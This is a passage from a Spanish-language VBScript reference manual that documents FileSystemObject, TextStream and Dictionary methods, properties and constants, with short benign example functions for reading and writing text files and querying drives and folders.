Comentarios Las cadenas especificadas se escriben en el archivo sin el uso de espacios ni caracteres entre cada cadena. Use el método WriteLine para escribir un carácter de nueva línea o una cadena que termine con un carácter de nueva línea. En el siguiente ejemplo se muestra el uso del método Write: Function EscribirEnArchivo Const ParaLeer = 1, ParaEscribir = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) EscribirEnArchivo = f.ReadLine End Function
Método WriteBlankLines Descripción Escribe un número especificado de caracteres de nueva línea en un archivo TextStream.
Sintaxis objeto.WriteBlankLines(lines) La sintaxis del método WriteBlankLines tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto TextStream.
lines
Requerido. Número de caracteres de nueva línea que desea escribir en el archivo.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
101
Comentarios En el siguiente ejemplo se muestra el uso del método WriteBlankLines: Function EscribirLíneasEnBlancoEnArchivo Const ParaLeer = 1, ParaEscribir = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.WriteBlankLines 2 f.WriteLine "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) EscribirLíneasEnBlancoEnArchivo = f.ReadAll End Function
Método WriteLine Descripción Escribe una cadena especificada y un carácter de nueva línea en un archivo TextStream.
Sintaxis objeto.WriteLine([cadena]) La sintaxis del método WriteLine tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto TextStream.
cadena Opcional. El texto que desea escribir en el archivo. Si se omite, se escribe un carácter de nueva línea en el archivo.
Comentarios El siguiente ejemplo muestra el uso del método WriteLine: Function EscribirLineaEnArchivo Const ForReading = 1, ForWriting = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.WriteLine "Hola mundo" f.WriteLine "VBScript es divertido" Set f = fso.OpenTextFile("c:\prueba.txt", ForReading) EscribirLineaEnArchivo = f.ReadAll End Function
CONSTANTES Constantes de DriveType Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma explícita estas constantes en el código. Constante
Valor
By KarlosVid(ÊÇ)
Descripción
www.idat.byethost14.com
102
Unknown
0
Imposible determinar el tipo de unidad.
Removable
1
La unidad tiene soportes extraíbles. Esto incluye todas las unidades de disquetes y muchas otras variedades de dispositivos de almacenamiento.
Fixed
2
La unidad está fija (no extraíble). Esto incluye todas las unidades de disco duro, incluso las que son extraíbles.
Remote
3
Unidades de red. Esto incluye las unidades compartidas de cualquier lugar de la red.
CDROM
4
La unidad es un CD-ROM. No distingue si la unidad de CD-ROM es de sólo lectura o de lectura/escritura.
RAMDisk
5
La unidad es un bloque de memoria de acceso aleatorio (RAM) en el equipo local que se comporta como una unidad de disco.
Constantes de FileAttributte Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma explícita estas constantes en el código. Constante
Valor
Descripción
Normal
0
Archivo normal. Sin atributos.
ReadOnly
1
Archivo de sólo lectura.
Hidden
2
Archivo oculto.
System
4
Archivo del sistema.
Volume
8
Etiqueta del volumen de la unidad de disco.
Directory
16
Carpeta o directorio.
Archive
32
El archivo ha cambiado desde la última copia de seguridad.
Alias
64
Vínculo o método abreviado.
Compressed
128
Archivo comprimido.
Constantes de FileSystemObject FileSystemObject tiene varias constantes útiles que puede utilizar en su código. Las constantes proporcionan una manera cómoda de utilizar los valores sin tener que recordar el valor en sí. También hace que su código sea más fácil de mentener, en caso de que cambiara alguna vez el valor de alguna de las constantes. Dependiendo del host de secuencias de comandos, estas constantes pueden estar ya definidas. Si es así, use las constantes en cualquier parte de su código en lugar de los valores a los que representan. En los casos donde el host de secuencias de comandos no haga referencia explícita a SCRRUN.DLL, tendrá que definir estas constantes en el código antes de poder utilizarlas. Ejemplos de este caso son Microsoft Internet Explorer y y los Servicios de Microsoft Internet Information Server (IIS). La lista siguiente describe las diversas categorías de constantes que se proporcionan para FileSystemObject, junto con una breve descripción: Constantes de DriveType Define los diversos tipos de unidad disponibles en el equipo host, como Fijo, Extraible, CD-ROM, etc. Constantes de File Attribute Define varios atributos de archivo como Oculto, Sólo lectura, etc. Constantes de entrada y salida de archivos Define las constantes utilizadas con la entrada y salida de archivos.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
103
Constantes de SpecialFolder Define las carpetas especiales disponibles en su sistema operativo.
Constantes de SpecialFolder Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma explícita estas constantes en el código. Constante
Valor
Descripción
WindowsFolder
0
La carpeta Windows contiene los archivos instalados con el sistema operativo Windows.
SystemFolder
1
La carpeta System contiene bibliotecas, fuentes y controladores de dispositivos.
TemporaryFolder
2
La carpeta Temp se utiliza para almacenar archivos temporales. La ruta de acceso se encuentra en la variable de entorno TMP.
PROPIEDADES Propiedad AtEndOfLine Descripción Devuelve True si el puntero del archivo precede inmediatamente el marcador de final de archivo en un archivo TextStream; en caso contrario, devuelve False. Sólo lectura.
Sintaxis objeto.AtEndOfLine objeto siempre es el nombre de un objeto TextStream.
Comentarios La propiedad AtEndOfLine sólo se aplica a archivos TextStream que están abiertos para lectura; de lo contrario, se produce un error. El siguiente código muestra el uso de la propiedad AtEndOfLine: Function LeerArchivoCompleto(especificaciondearchivo) Const ForReading = 1 Dim fso, elArchivo, cadenadev Set fso = CreateObject("Scripting.FileSystemObject") Set elArchivo = fso.OpenTextFile(especificaciondearchivo, ForReading, False) Do While elArchivo.AtEndOfLine <> True cadenadev = elArchivo.Read(1) Loop elArchivo.Close LeerArchivoCompleto = cadenadev End Function
Propiedad AtEndOfStream By KarlosVid(ÊÇ)
www.idat.byethost14.com
104
Descripción Devuelve True si el puntero del archivo está al final de un archivo TextStream; en caso contrario, devuelve False. Sólo lectura.
Sintaxis objeto.AtEndOfStream objeto siempre es el nombre de un objeto TextStream.
Comentarios La propiedad AtEndOfStream sólo se aplica a archivos TextStream que están abiertos para lectura, de lo contrario, se produce un error. El siguiente código muestra el uso de la propiedad AtEndOfStream: Function LeerArchivoCompleto(especificaciondearchivo) Const ForReading = 1 Dim fso, elArchivo, cadenadev Set fso = CreateObject("Scripting.FileSystemObject") Set elArchivo = fso.OpenTextFile(especificaciondearchivo, ForReading, False) Do While elArchivo.AtEndOfStream <> True cadenadev = elArchivo.ReadLine Loop elArchivo.Close LeerArchivoCompleto = cadenadev End Function
Propiedad Attributes Descripción Establece o devuelve los atributos de archivos o carpetas. Lectura y escritura o sólo lectura, según el atributo.
Sintaxis objeto.Attributes [= nuevosatributos] La propiedad Attributes tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto File o Folder
nuevosatributos Opcional. Si se proporciona, nuevosatributos es el nuevo valor para los atributos del objeto especificado.
Valores El argumento nuevosatributos puede tener cualquiera de los siguientes valores o cualquier combinación lógica de los siguientes valores: Constante
Valor
Descripción
Normal
0
Archivo normal. Ningún atributo está establecido.
ReadOnly
1
Archivo de sólo lectura. El atributo es de lectura y escritura.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
105
Hidden
2
Archivo oculto. El atributo es de lectura y escritura.
System
4
Archivo de sistema. El atributo es de lectura y escritura.
Volume
8
Etiqueta de volumen de unidad de disco. El atributo es de sólo lectura.
Directory
16
Carpeta o directorio. El atributo es de sólo lectura.
Archive
32
El archivo se cambió desde la última copia de seguridad. El atributo es de lectura y escritura.
Alias
64
Vínculo o acceso directo. El atributo es de sólo lectura.
Compressed
128
Archivo comprimido. El atributo es de sólo lectura.
Comentarios El siguiente código muestra el uso de la propiedad Attributes con un archivo: Function AlternarBitModificado(especificaciondearchivo) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) If f.attributes and 32 Then f.attributes = f.attributes - 32 AlternarBitModificado = "El bit de modificado está desactivado." Else f.attributes = f.attributes + 32 AlternarBitModificado = "El bit de modificado está activado." End If End Function
Propiedad AvailableSpace Descripción Devuelve la cantidad de espacio disponible para el usuario en una unidad o recurso compartido de red especificados.
Sintaxis objeto.AvailableSpace objeto siempre es un objeto Drive.
Comentarios El valor devuelto por la propiedad AvailableSpace normalmente es igual al valor devuelto por la propiedad FreeSpace. Puede haber diferencias entre ambas en sistemas que admitan cuotas. El siguiente código muestra el uso de la propiedad AvailableSpace: Function MostrarEspacioDisponible(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Drive " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "
" s = s & "Espacio disponible: " & FormatNumber(d.AvailableSpace/1024, 0) s = s & " Kbytes" MostrarEspacioDisponible = s End Function
By KarlosVid(ÊÇ)
www.idat.byethost14.com
106
Propiedad Column Descripción Propiedad de sólo lectura que devuelve el número de columna de la posición del carácter actual en un archivo TextStream.
Sintaxis objeto.Column objeto siempre es el nombre de un objeto TextStream.
Comentarios Después de escribir un carácter de nueva línea, pero antes de escribir cualquier otro carácter, Column es igual a 1. En el siguiente ejemplo se muestra el uso de la propiedad Column: Function ObtenerColumna Const ForReading = 1, ForWriting = 2 Dim fso, f, m Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.Write "Hola mundo" f.Close Set f = fso.OpenTextFile("c:\prueba.txt", ForReading) m = f.ReadLine ObtenerColumna = f.Column End Function
Propiedad CompareMode Descripción Establece y devuelve el modo de comparación para comparar claves de cadenas en un objeto Dictionary.
Sintaxis objeto.CompareMode[ = comparación] La propiedad CompareMode tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto Dictionary.
comparación Opcional. Si se proporciona, comparación es una valor que representa el modo de comparación usado por funciones como StrComp.
Valores El argumento comparación tiene los siguientes valores: Constante
Valor
By KarlosVid(ÊÇ)
Descripción
www.idat.byethost14.com
107
vbBinaryCompare
0
Realiza una comparación binaria.
vbTextCompare
1
Realiza una comparación de texto.
Comentarios Se pueden usar valores mayores que 2 para hacer referencia a comparaciones que usan identificadores locales específicos (LCID). Se produce un error si intenta cambiar el modo de comparación de una objeto Dictionary que ya contiene datos. La propiedad CompareMode usa los mismos valores que el argumento comparación para la función StrComp. El siguiente ejemplo muestra el uso de la propiedad CompareMode: Dim d Set d = CreateObject("Scripting.Dictionary") d.CompareMode = vbTextCompare d.Add "a", "Atenas" ' Agrega algunas claves y elementos. d.Add "b", "Belgrado" d.Add "c", "Cairo" d.Add "B", "Baltimore" ' El método Add falla en esta línea porque ' la letra b ya existe en Dictionary.
Propiedad Count Descripción Devuelve el número de elementos de una colección u objeto Dictionary. Sólo lectura.
Sintaxis objeto.Count objeto siempre es el nombre de uno de los elementos de la lista Se aplica a.
Comentarios El siguiente código muestra el uso de la propiedad Count: Function MostrarClaves Dim a, d, i, s ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos. d.Add "b", "Belgrado" d.Add "c", "Cairo" a = d.Keys ' Obtiene las claves For i = 0 To d.Count -1 ' Itera a través de la matriz s = s & a(i) & "
" ' Crea la cadena de devolución. Next MostrarClaves = s End Function
Propiedad DateCreated Descripción Devuelve la fecha y hora en la que se creó el archivo o carpeta especificados. Sólo lectura.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
108
Sintaxis objeto.DateCreated objeto siempre es un objeto File o Folder.
Comentarios El siguiente código muestra el uso de la propiedad DateCreated con un archivo: Function MostrarInformacionDeArchivo(especificaciondearchivo) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) MostrarInformacionDeArchivo = "Creado: " & f.DateCreated End Function
Propiedad DateLastAccessed DateLastAccessed Descripción Devuelve la fecha y hora de cuando se tuvo acceso al archivo o carpeta por última vez. Sólo lectura.
Sintaxis objeto.DateLastAccessed objeto siempre es un objeto File o Folder.
Comentarios El siguiente código muestra el uso de la propiedad DateLastAccessed con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = UCase(especificaciondearchivo) & "
" s = s & "Creado: " & f.DateCreated & "
" s = s & "Último acceso: " & f.DateLastAccessed & "
" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function
Importante El comportamiento de este método depende del sistema operativo en el que se esté usando. Si el sistema operativo no proporciona información de hora, no se devolverá nada.
Propiedad DateLastModified Descripción Devuelve la fecha y hora cuando se modificó por última vez el archivo o carpeta especificado. Sólo lectura.
Sintaxis objeto.DateLastModified objeto siempre es un objeto File o Folder.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
109
Comentarios El siguiente código muestra el uso de la propiedad DateLastModified con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = UCase(especificaciondearchivo) & "
" s = s & "Creado: " & f.DateCreated & "
" s = s & "Último acceso: " & f.DateLastAccessed & "
" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function
Propiedad Drive Descripción Devuelve la letra de la unidad en la que reside el archivo o carpeta especificado. Sólo lectura.
Sintaxis objeto.Drive objeto siempre es un objeto File o Folder.
Comentarios El siguiente código muestra el uso de la propiedad Drive: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = f.Name & " on Drive " & UCase(f.Drive) & "
" s = s & "Creado: " & f.DateCreated & "
" s = s & "Último acceso: " & f.DateLastAccessed & "
" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function
Propiedad DriveLetter Descripción Devuelve la letra de unidad de una unidad física local o de un recurso de red compartido. Sólo lectura.
Sintaxis objeto.DriveLetter objeto siempre es un objeto Drive.
Comentarios La propiedad DriveLetter devuelve una cadena de longitud cero ("") si la unidad especificada no está asociada con una letra de unidad, por ejemplo, un recurso de red compatido que no se asignó a una letra de unidad.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
110
El siguiente código muestra el uso de la propiedad DriveLetter: Function MostrarLetraDeUnidad(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & d.DriveLetter & ": - " s = s & d.VolumeName & "
" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarLetraDeUnidad = s End Function
Propiedad Drives Descripción Devuelve una colección Drives que consta de todos los objetos Drive disponibles en la máquina local.
Sintaxis objeto.Drives objeto siempre es un objeto FileSystemObject.
Comentarios Las unidades de disco removibles no necesitan tener un disco insertado para que aparezcan en la colección Drives. Puede iterar los miembros de la colección Drives mediante una instrucción For Each...Next como se muestra en el siguiente código: Function MostrarListaDeUnidades Dim fso, d, dc, s, n Set fso = CreateObject("Scripting.FileSystemObject") Set dc = fso.Drives For Each d in dc n = "" s = s & d.DriveLetter & " - " If d.DriveType = 3 Then n = d.ShareName ElseIf d.IsReady Then n = d.VolumeName End If s = s & n & "
" Next MostrarListaDeUnidades = s End Function
Propiedad DriveType Descripción Devuelve un valor que indica el tipo de una unidad especificada.
Sintaxis objeto.DriveType
By KarlosVid(ÊÇ)
www.idat.byethost14.com
111
objeto siempre es un objeto Drive.
Comentarios El siguiente código muestra el uso de la propiedad DriveType: Function MostrarTipoDeUnidad(unidadruta) Dim fso, d, t Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(unidadruta) Select Case d.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD ROM" Case 5: t = "Disco RAM" End Select MostrarTipoDeUnidad = "Unidad " & d.DriveLetter & ": - " & t End Function
Propiedad Files Descripción Devuelve una colección Files que consta de todos los objetos File contenidos en la carpeta especificada, incluidos los que tienen establecidos los atributos oculto y sistema.
Sintaxis objeto.Files objeto siempre es un objeto Folder.
Comentarios El siguiente código muestra el uso de la propiedad Files: Function MostrarListaDeArchivos(especificaciondecarpeta) Dim fso, f, f1, fc, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) Set fc = f.Files For Each f1 in fc s = s & f1.name s = s & "
" Next MostrarListaDeArchivos = s End Function
Propiedad FileSystem Descripción Devuelve el tipo de sistema de archivos que se está usando en la unidad especificada.
Sintaxis objeto.FileSystem
By KarlosVid(ÊÇ)
www.idat.byethost14.com
112
objeto siempre es un objeto Drive.
Comentarios Los tipos devueltos disponibles son FAT, NTFS y CDFS. El siguiente código muestra el uso de la propiedad FileSystem: Function MostrarTipoDeSistemaDeArchivos(especificaciondeunidad) Dim fso,d Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(especificaciondeunidad) MostrarTipoDeSistemaDeArchivos = d.FileSystem End Function
Propiedad FreeSpace Descripción Devuelve la cantidad de espacio disponible para el usuario en la unidad o recurso compartido de red especificado. Sólo lectura.
Sintaxis objeto.FreeSpace objeto siempre es un objeto Drive.
Comentarios El valor devuelto por la propiedad FreeSpace normalmente es el mismo que el valor devuelto por la propiedad AvailableSpace. Pueden producirse diferencias entre los dos, en sistemas que admiten cuotas. El siguiente código muestra el uso de la propiedad FreeSpace: Function MostrarEspacioLibre(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Unidad " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "
" s = s & "Espacio libre: " & FormatNumber(d.FreeSpace/1024, 0) s = s & " Kbytes" MostrarEspacioLibre = s End Function
Propiedad IsReady Descripción Devuelve True si está lista la unidad especificada; en caso contrario, devuelve False.
Sintaxis objeto.IsReady objeto siempre es un objeto Drive.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
113
Comentarios Para unidades de disco removible y unidades de CD-ROM, IsReady sólo devuelve True cuando el disco adecuado está insertado y listo para acceso. El siguiente código muestra el uso de la propiedad IsReady: Function MostrarInformacionDeUnidad(unidadruta) Dim fso, d, s, t Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(unidadruta) Select Case d.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD-ROM" Case 5: t = "Disco RAM" End Select s = "Unidad " & d.DriveLetter & ": - " & t If d.IsReady Then s = s & "
" & "Drive is Ready." Else s = s & "
" & "Drive is not Ready." End If MostrarInformacionDeUnidad = s End Function
Propiedad IsRootFolder Descripción Devuelve True si la carpeta especificada es la carpeta raíz; en caso contrario devuelve False.
Sintaxis objeto.IsRootFolder objeto siempre es un objeto Folder.
Comentarios El siguiente código muestra el uso de la propiedad IsRootFolder: Function MostrarNivelProfundidad(especificacionderuta) Dim fso, f, n Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificacionderuta) If f.IsRootFolder Then MostrarNivelProfundidad = "La carpeta especificada es la carpeta raíz." Else Do Until f.IsRootFolder Set f = f.ParentFolder n=n+1 Loop MostrarNivelProfundidad = "La carpeta especificada está anidada " & n & " niveles." End If End Function
Propiedad Item By KarlosVid(ÊÇ)
www.idat.byethost14.com
114
Descripción Establece o devuelve un elemento para una clave especificada en un objeto Dictionary. Para colecciones, devuelve un elemento basado en la clave especificada. Lectura y escritura.
Sintaxis objeto.Item(clave) [= nuevoelemento] La propiedad Item tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de una colección u objeto Dictionary.
clave
Requerido. Clave asociada al elemento recuperado o agregado.
nuevoelemento Opcional. Sólo se usa para el objeto Dictionary; no tiene aplicación para colecciones. Si se proporciona, nuevoelemento es el nuevo valor asociado a la clave especificada.
Comentarios Si no se encuentra clave al cambiar un elemento, se crea una nueva clave con nuevoelemento especificado. Si no se encuentra clave al intentar devolver un elemento existente, se crea una nueva clave y su elemento correspondiente se deja vacío. El siguiente ejemplo muestra el uso de la propiedad Item: Function EjemploDeItem Dim d ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" EjemploDeItem = d.Item("c")' Obtiene el elemento. End Function
Propiedad Key Descripción Establece una clave en un objeto Dictionary.
Sintaxis objeto.Key(clave) = nuevaclave La propiedad Key tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto Dictionary.
clave
Requerido. Valor de clave que se va a cambiar.
nuevaclave
Requerido. Nuevo valor que reemplaza a la clave especificada.
Comentarios By KarlosVid(ÊÇ)
www.idat.byethost14.com
115
Si no se encuentra clave al cambiar una clave, se produce un error en tiempo de ejecución. El siguiente ejemplo muestra el uso de la propiedad Key: Function EjemploDeDic Dim d ' Crea algunas variables. Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos. d.Add "b", "Belgrado" d.Add "c", "Cairo" d.Key("c") = "d" ' Establece la clave para "c" como "d". EjemploDeDic = d.Item("d") ' Devuelve el elemento asociado. End Function
Propiedad Line Descripción Propiedad de sólo lectura que devuelve el número de línea actual de un archivo TextStream.
Sintaxis objeto.Line objeto siempre es el nombre de un objeto TextStream.
Comentarios Después de abrir un archivo y antes de escribir nada, Line es igual a 1. El siguiente ejemplo muestra el uso de la propiedad Line: Function ObtenerLinea Const ForReading = 1, ForWriting = 2 Dim fso, f, ra Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.Write "Hola mundo" & vbCrLf & "VB Script is fun!" & vbCrLf Set f = fso.OpenTextFile("c:\prueba.txt", ForReading) ra = f.ReadAll ObtenerLinea = f.Line End Function
Propiedad Name Descripción Establece o devuelve el nombre de un archivo o carpeta especificados. Lectura y escritura.
Sintaxis objeto.Name [= nuevonombre] La propiedad Name tiene las siguientes partes: Parte
Descripción
By KarlosVid(ÊÇ)
www.idat.byethost14.com
116
objeto
Requerido. Siempre es el nombre de un objeto File o Folder
nuevonombre
Opcional. Si se proporciona, nuevonombre es el nuevo nombre del objeto especificado.
Comentarios El siguiente código muestra el uso de la propiedad Name: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = f.Name & " on Drive " & UCase(f.Drive) & "
" s = s & "Creado: " & f.DateCreated & "
" s = s & "Último acceso: " & f.DateLastAccessed & "
" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function
Propiedad Number Descripción Devuelve el objeto de carpeta para la carpeta principal del archivo o carpeta especificados. Sólo lectura.
Sintaxis objeto.ParentFolder objeto siempre es un objeto File o Folder.
Comentarios El siguiente código muestra el uso de la propiedad ParentFolder con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = UCase(f.Name) & " in " & UCase(f.ParentFolder) & "
" s = s & "Creado: " & f.DateCreated & "
" s = s & "Último acceso: " & f.DateLastAccessed & "
" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function
Propiedad Path Descripción Devuelve la ruta para un archivo, carpeta o unidad especificados.
Sintaxis objeto.Path objeto siempre es un objeto File, Folder o Drive.
Comentarios By KarlosVid(ÊÇ)
www.idat.byethost14.com
117
Para letras de unidades, la unidad raíz no está incluida. Por ejemplo, la ruta para la unidad C es C:, no C:\. El siguiente código muestra el uso de la propiedad Path con un objeto File: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, d, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = UCase(f.Path) & "
" s = s & "Creado: " & f.DateCreated & "
" s = s & "Último acceso: " & f.DateLastAccessed & "
" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function
Propiedad RootFolder Descripción Devuelve un objeto Folder que representa la carpeta raíz de una unidad especificada. Sólo lectura.
Sintaxis objeto.RootFolder objeto siempre es un objeto Drive.
Comentarios Puede tener acceso a todos los archivos y carpetas contenidos en la unidad mediante el objeto Folder devuelto. El siguiente ejemplo muestra el uso de la propiedad RootFolder: Function MostrarCarpetaRaiz(especificaciondeunidad) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetDrive(especificaciondeunidad) MostrarCarpetaRaiz = f.RootFolder End Function
Propiedad SerialNumber Descripción Devuelve el número de seria decimal que se usa para identificar de forma única un volumen de disco.
Sintaxis objeto.SerialNumber objeto siempre es un objeto Drive.
Comentarios
By KarlosVid(ÊÇ)
www.idat.byethost14.com
118
Puede usar la propiedad SerialNumber para asegurarse de que está insertado el disco correcto en una unidad de discos removibles. El siguiente código muestra el uso de la propiedad SerialNumber: Function MostrarInformacionDeUnidad(unidadruta) Dim fso, d, s, t Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta))) Select Case d.DriveType Case 0: t = "Desconocida" Case 1: t = "Removible" Case 2: t = "Fija" Case 3: t = "Red" Case 4: t = "CD-ROM" Case 5: t = "Disco RAM" End Select s = "Unidad " & d.DriveLetter & ": - " & t s = s & "
" & "SN: " & d.SerialNumber MostrarInformacionDeUnidad = s End Function
Propiedad ShareName Descripción Devuelve el nombre de recurso de red compartido para una unidad especificada.
Sintaxis objeto.ShareName objeto siempre es un objeto Drive.
Comentarios Si objeto no es una unidad de red, la propiedad ShareName devuelve una cadena de longitud cero (""). El siguiente código muestra el uso de la propiedad ShareName: Function MostrarInformacionDeUnidad(unidadruta) Dim fso, d Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta))) MostrarInformacionDeUnidad = "Unidad " & d.DriveLetter & ": - " & d.ShareName End Function
Propiedad ShortName Descripción Devuelve el nombre corto usado por los programas que requieren la convención anterior de asignación de nombres 8.3.
Sintaxis objeto.ShortName
By KarlosVid(ÊÇ)
www.idat.byethost14.com
119
objeto siempre es un objeto File o Folder.
Comentarios El siguiente código muestra el uso de la propiedad ShortName con un objeto File: Function MostrarNombreCorto(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = "El nombre corto de " & UCase(f.Name) & "
" s = s & "es: " & f.ShortName MostrarNombreCorto = s End Function
Propiedad ShortPath Descripción Devuelve la ruta corta usada por programas que requieren la convención de asignación de nombres 8.3.
Sintaxis objeto.ShortPath objeto siempre es un objeto File o Folder.
Comentarios El siguiente código muestra el uso de la propiedad ShortName con un objeto File: Function MostrarRutaCorta(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = "La ruta corta para " & UCase(f.Name) & "
" s = s & "es: " & f.ShortPath MostrarRutaCorta = s End Function
Propiedad Size Descripción Para archivos, devuelve el tamaño en bytes, del archivo especificado. Para carpetas, devuelve el tamaño en bytes, de todos los archivos y subcarpetas contenidos en la carpeta.
Sintaxis objeto.Size objeto siempre es un objeto File o Folder.
Comentarios El siguiente código muestra el uso de la propiedad Size con un objeto Folder: Function MostrarTamanoDeCarpeta(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject")
By KarlosVid(ÊÇ)
www.idat.byethost14.com
120
Set f = fso.GetFolder(especificaciondearchivo) s = UCase(f.Name) & " uses " & f.size & " bytes." MostrarTamanoDeCarpeta = s End Function
Propiedad SubFolders Descripción Devuelve una colección Folders que consta de todas las carpetas contenidas en una carpeta especificada, incluidas las que tienen establecidos los atributos oculto y sistema.
Sintaxis objeto.SubFolders objeto siempre es un objeto Folder.
Comentarios El siguiente código muestra el uso de la propiedad SubFolders: Function MostrarListaDeCarpetas(especificaciondecarpeta) Dim fso, f, f1, s, sf Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondecarpeta) Set sf = f.SubFolders For Each f1 in sf s = s & f1.name s = s & "
" Next MostrarListaDeCarpetas = s End Function
Propiedad TotalSize Descripción Devuelve el espacio total en bytes, de una unidad o de un recurso compartido de red.
Sintaxis objeto.TotalSize objeto siempre es un objeto Drive.
Comentarios El siguiente código muestra el uso de la propiedad TotalSize: Function MostrarInformacionDeEspacio(unidadruta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta))) s = "Drive " & d.DriveLetter & ":" s = s & vbCrLf s = s & "Tamaño total: " & FormatNumber(d.TotalSize/1024, 0) & " Kbytes" s = s & vbCrLf s = s & "Disponible: " & FormatNumber(d.AvailableSpace/1024, 0) & " Kbytes" MostrarInformacionDeEspacio = s
By KarlosVid(ÊÇ)
www.idat.byethost14.com
121
End Function
